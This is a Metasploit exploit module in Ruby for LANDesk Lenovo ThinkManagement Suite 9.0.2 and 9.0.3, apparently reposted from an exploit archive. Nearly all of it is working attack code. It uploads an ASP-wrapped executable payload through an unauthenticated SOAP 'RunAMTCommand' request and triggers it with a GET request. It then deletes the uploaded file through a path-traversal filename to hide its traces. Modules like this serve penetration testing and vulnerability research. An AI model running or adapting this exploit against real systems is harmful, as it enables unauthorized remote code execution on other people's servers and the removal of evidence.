LANDesk Lenovo ThinkManagement Console – Remote Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name' => 'LANDesk Lenovo ThinkManagement Console Remote Command Execution', 'Description' => %q{ This module can be used to execute a payload on LANDesk Lenovo ThinkManagement Suite 9.0.2 and 9.0.3. The payload is uploaded as an ASP script by sending a specially crafted SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx" , via a "RunAMTCommand" operation with the command '-PutUpdateFileCore' as the argument. After execution, the ASP script with the payload is deleted by sending another specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx" via a "SetTaskLogByFile" operation. }, 'Author' => [ 'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], 'Version' => '$Revision: $', 'Platform' => 'win', 'References' => [ ['CVE', '2012-1195'], ['CVE', '2012-1196'], ['OSVDB', '79276'], ['OSVDB', '79277'], ['BID', '52023'], ['URL', 'http://www.exploit-db.com/exploits/18622/'], ['URL', 'http://www.exploit-db.com/exploits/18623/'] ], 'Targets' => [ [ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2', { } ], ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Feb 15 2012' ) register_options( [ OptString.new('PATH', [ true, "The URI path of the LANDesk Lenovo ThinkManagement Console", '/']) ], self.class) end def exploit peer = "#{rhost}:#{rport}" # Generate the ASP containing the EXE containing the payload exe = generate_payload_exe asp = Msf::Util::EXE.to_exe_asp(exe) # htmlentities like encoding asp = asp.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">") uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/") upload_random = rand_text_alpha(rand(6) + 6) upload_xml_path = "ldlogon\\#{upload_random}.asp" soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <RunAMTCommand xmlns="http://tempuri.org/"> <Command>-PutUpdateFileCore</Command> <Data1>#{rand_text_alpha(rand(4) + 4)}</Data1> <Data2>#{upload_xml_path}</Data2> <Data3>#{asp}</Data3> <ReturnString>#{rand_text_alpha(rand(4) + 4)}</ReturnString> </RunAMTCommand> </soap:Body> </soap:Envelope> eos # # UPLOAD # attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx" print_status("#{peer} - Uploading #{asp.length} bytes through #{attack_url}...") res = send_request_cgi({ 'uri' => attack_url, 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"http://tempuri.org/RunAMTCommand\"", }, 'data' => soap, }, 20) if (! res) print_status("#{peer} - Timeout: Trying to execute the payload anyway") elsif (res.code < 200 or res.code >= 300) print_error("#{peer} - Upload failed on #{attack_url} [#{res.code} #{res.message}]") return end # # EXECUTE # upload_path = uri_path + "ldlogon/#{upload_random}.asp" print_status("#{peer} - Executing #{upload_path}...") res = send_request_cgi({ 'uri' => upload_path, 'method' => 'GET' }, 20) if (! res) print_error("#{peer} - Execution failed on #{upload_path} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("#{peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]") return end # # DELETE # soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <SetTaskLogByFile xmlns="http://tempuri.org/"> <computerIdn>1</computerIdn> <taskid>1</taskid> <filename>../#{upload_random}.asp</filename> </SetTaskLogByFile> </soap:Body> </soap:Envelope> eos attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx" print_status("#{peer} - Deleting #{upload_path} through #{attack_url}...") res = send_request_cgi({ 'uri' => attack_url, 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"http://tempuri.org/SetTaskLogByFile\"", }, 'data' => soap, }, 20) if (! res) print_error("#{peer} - Deletion failed at #{attack_url} [No Response]") return elsif (res.code < 200 or res.code >= 300) print_error("#{peer} - Deletion failed at #{attack_url} [#{res.code} #{res.message}]") return end handler end end |